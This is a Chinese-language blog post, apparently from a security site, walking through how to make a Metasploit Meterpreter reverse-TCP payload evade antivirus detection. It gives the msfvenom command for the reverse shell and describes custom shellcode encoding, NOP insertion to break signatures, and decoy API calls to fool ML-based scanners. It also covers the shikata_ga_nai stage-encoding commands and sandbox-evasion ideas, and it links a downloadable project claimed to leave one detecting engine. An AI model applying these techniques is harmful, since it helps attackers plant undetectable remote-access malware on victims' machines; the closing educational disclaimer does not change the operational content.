前言
最近玩了玩免杀,学习了很多免杀的技巧,免杀基本就那么几个套路,静态文件特征码免杀,内存特征码免杀,行为免杀,流量免杀等等等
正文
首先用msfvenom生成一个payload,msfvenom–p windows/meterpreter/reverse_tcp lhost=yourip lport=yourport –fc
以下是我们meterpreter的原型,首先我们把shellcode复制到新申请的可执行的内存区域中去,然后把指针转换成函数指针然后执行就ok了。

这个原始的meterpreter是很不理想的
丢到virustotal会发现70个杀软有22个都能检测出来,我们现在把shellcode编码一下,我们不使用msf自带的编码器,况且msf自带的编码器不止会给shellcode编码,还会把解密代码放到shellcode前面,所以说编码的时候很受限制,我们如今编码的话,shellcode在我们手中,我们只需要把解密代码实现就好了,不需要放到shellcode里,没有这样那样的限制,就可以想怎么搞怎么搞了,并且我们不用公开的编码方式的话,就更好了,比如把shellcode对应的每个字节都加一,或者异或加密,这样就可以实现静态特征码免杀了,但是加载到内存里解密以后还是会被杀毒软件找到特征码,于是我想了一个办法,可以在每句汇编代码中插入一个不影响堆栈平衡的nop指令,来实现”隔断”特征码,如下是我用python写的脚本,大致逻辑就是先获取跳转指令的跳转目的地,然后在跳转目的指令处加上标号,再把跳转指令都改成跳转到标号的这种形式,再插入nop指令,再进行编译,这样可以省了校准跳转地址的好多时间,脚本如下,大哥们可以自取。用这个脚本把shellcode处理完就会发现,报毒的杀软少了好几个,并且之前defender识别出的meterpreter字眼没有了。



运行后复制unsignedchar数组
然后对应vs2010里建立工程,源代码如下


里面的memcpy我用一个for循环来替代,通过函数指针调用函数我用push和ret来替代
自习观察扫描的结果会发现,不仅之前defender识别出的meterpreter字眼没有了,而且好多AI的杀毒软件从一开始就在,现在还在,于是考虑在入口点处增加一些正常的逻辑,增加一些其他API的调用,来”误导”AI杀软的模型,我们可以尽情的加没用的逻辑,多引入病毒不常用的API函数。正好可以通过加上一些我们想要的功能比如说循环ping我们的主控端主机,等到ping通再连接,这样可以减少失误率,我在原来代码的基础上加上了一个循环ping的功能,工程文件我打包到了百度网盘,大哥们有需要的可以自取。
链接:https://pan.baidu.com/s/1stxH3EaXtUsksZjRvtLEkg
提取码:jorf
还有就是我们的meterpreter肯定不希望到了某个人电脑上运行缺少运行时库,那就在配置属性里把运行时库改成MTd,这样编译器就把依赖放到我们的exe里了。
最后扔到virustotal上扫描一下发现只剩一个杀软可以检测出来了
最后像windowsdefender这些是会检测流量的,所以再加一个stageencoder,现成的拿来用就好了
在msf里输入以下命令就ok了
setEnableStageEncoding true
setStageEncoder x86/shikata_ga_nai
还有就是沙箱检测,沙箱检测的话,无非就是一些hookapi,各种hook,获取你的堆栈参数啥的,这些都是在运行时的检测,所以我们可以检测沙箱,如果有沙箱的存在,我们就不进入执行shellcode的逻辑,还有就是分支遍历,这个是我猜测的,不知道有没有,就是说就算我们不进入执行shellcode的逻辑,杀软也会通过分析反汇编代码遍历每个跳转分支,这个可以通过动态生成跳转的反汇编代码来绕过,在生成之前他根本不知道我们要跳到哪里,就可以绕过他的分支遍历了,这些关于沙箱和分支预测的猜测还没有通过实验来绕过和证实,只是想法,我进行研究后会继续更新,欢迎大哥们与小弟交流。
本文仅用于普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征等,若读者因此做出危害网络安全的行为后果自负,与合天智汇以及原作者无关,特此声明。本文为原创文章,转载请注明出处!
网友评论